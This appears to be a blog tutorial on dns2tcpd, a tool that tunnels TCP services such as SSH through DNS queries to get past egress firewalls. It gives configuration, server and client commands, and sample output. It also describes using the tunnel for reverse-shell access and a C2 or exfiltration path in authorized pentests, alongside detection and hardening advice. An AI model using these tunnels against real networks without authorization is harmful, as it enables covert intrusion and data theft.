dns2tcpd: A server-side tool for handling DNS-based TCP tunneling

dns2tcpd: A server-side tool for handling DNS-based TCP tunneling

Whenever I need to prove that “we only allow DNS out” is not the same as “our network is locked down,” dns2tcp is the pair of tools I reach for. dns2tcpd is the server half — the piece that turns raw DNS queries back into a usable TCP stream. Here’s how it works and how I run it in authorized engagements.

What Is dns2tcpd?

dns2tcpd is the server-side daemon of the dns2tcp suite, a tool built specifically to tunnel TCP connections through DNS traffic. Unlike iodine, which builds a generic IP-over-DNS tunnel and virtual network interface, dns2tcp is narrower and more surgical: it forwards specific TCP ports through DNS, so you’re tunneling a defined service (SSH, a web app, a C2 channel) rather than an entire network stack.

The companion client-side binary is dns2tcpc, covered separately, but the two only make sense together, so I’ll reference both here.

Architecture and Internal Working

  1. dns2tcpd (server) runs on a host that is authoritative for a domain you control, e.g. t.yourlab.com. It listens for incoming DNS queries and de-encapsulates the TCP payload hidden inside them.
  2. A resource record file (dns2tcpdrc) maps named “resources” to real backend host:port pairs — for example, mapping a resource called ssh to 127.0.0.1:22 on the server.
  3. The client encodes outbound TCP data into DNS query labels; the server decodes them, forwards the data to the mapped backend service, and encodes the response back into DNS answers.
  4. Like iodine, this relies on the fact that DNS queries for an unknown domain get walked up the resolution hierarchy until they reach your authoritative server — so even fully NAT’d, egress-filtered clients that can only resolve DNS will eventually reach you.
  5. dns2tcpd supports simple key-based authentication so random internet traffic can’t just use your tunnel.

Installation

sudo apt update
sudo apt install dns2tcp

This installs both dns2tcpd and dns2tcpc.

Prerequisites

Configuration File

Create /etc/dns2tcpd.conf:

listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp/dns2tcp
domain = t.yourlab.com
resources = ssh:127.0.0.1:22, web:127.0.0.1:80
key = LabTestKey123

Syntax

dns2tcpd -f -F -d 1 -c /etc/dns2tcpd.conf

Flag breakdown:

Complete Command Example and Output

Starting the server:

$ sudo dns2tcpd -f /etc/dns2tcpd.conf -F -d 1
reading configuration file
listening on port 53
domain: t.yourlab.com
resources: ssh -> 127.0.0.1:22
resources: web -> 127.0.0.1:80
waiting for connections

Client connecting (using dns2tcpc, covered in its own article):

$ dns2tcpc -z t.yourlab.com -k LabTestKey123 -r ssh -l 2222 192.168.1.1

Server-side log on connection:

new client connected
resource ssh requested
forwarding to 127.0.0.1:22
tunnel established, forwarding TCP data

Using the tunnel:

ssh -p 2222 labuser@127.0.0.1

This SSH connection is transparently riding inside DNS queries to the server.

Verifying with tcpdump on the client network:

sudo tcpdump -i eth0 udp port 53 -n
14:02:11.552012 IP 10.10.10.5.51322 > 192.168.1.1.53: 5521+ TXT? aXNzaGRhdGE.t.yourlab.com. (68)
14:02:11.601887 IP 192.168.1.1.53 > 10.10.10.5.51322: 5521 1/0/0 TXT (200)

Real-World Use Case (Authorized Pentest)

In client engagements where the perimeter firewall blocks essentially everything outbound except DNS resolution to the corporate resolver:

  1. I stand up dns2tcpd on an external VM under my own domain, mapping a resource to an internal listener I control (e.g., a reverse shell listener or SSH).
  2. From inside the restricted segment, dns2tcpc connects out and maps a local port that tunnels straight to my server’s mapped resource.
  3. I demonstrate SSH or full reverse-shell access purely through DNS, which is a strong, concrete way to show a client that “DNS-only egress” still represents a viable exfiltration/C2 path.
  4. In the report, I include packet captures showing the abnormal query volume and recommend DNS query logging, TXT/NULL record rate limiting, and forcing all endpoint DNS through an inspected internal resolver rather than allowing direct external DNS.

Automation and Integration

Performance Optimization

Troubleshooting

Best Practices

Common Mistakes

FAQ

Is dns2tcp the same as iodine? No. iodine builds a full IP-over-DNS tunnel with a virtual network interface; dns2tcp specifically forwards individual TCP connections/services through DNS, which is often lighter weight for targeted use cases like a single SSH session.

Does dns2tcpd encrypt the tunneled data? No, the DNS encapsulation itself isn’t encryption. Layer SSH, TLS, or another encrypted protocol on top if confidentiality matters.

Can this bypass any firewall? Only ones that permit DNS resolution out (nearly universal) and don’t deeply inspect or rate-limit DNS query patterns.

How do defenders detect dns2tcp usage? Watch for high-frequency TXT/NULL queries to a single external domain, base32/base64-like patterns in subdomain labels, and DNS query volume anomalies per host.

Summary

dns2tcpd, paired with dns2tcpc, gives penetration testers a focused way to tunnel specific TCP services through DNS rather than a whole network stack. In authorized assessments, it’s an efficient way to demonstrate that DNS-only egress policies still leave a usable command-and-control and data path open, reinforcing the need for DNS-layer inspection and monitoring.

References

Exit mobile version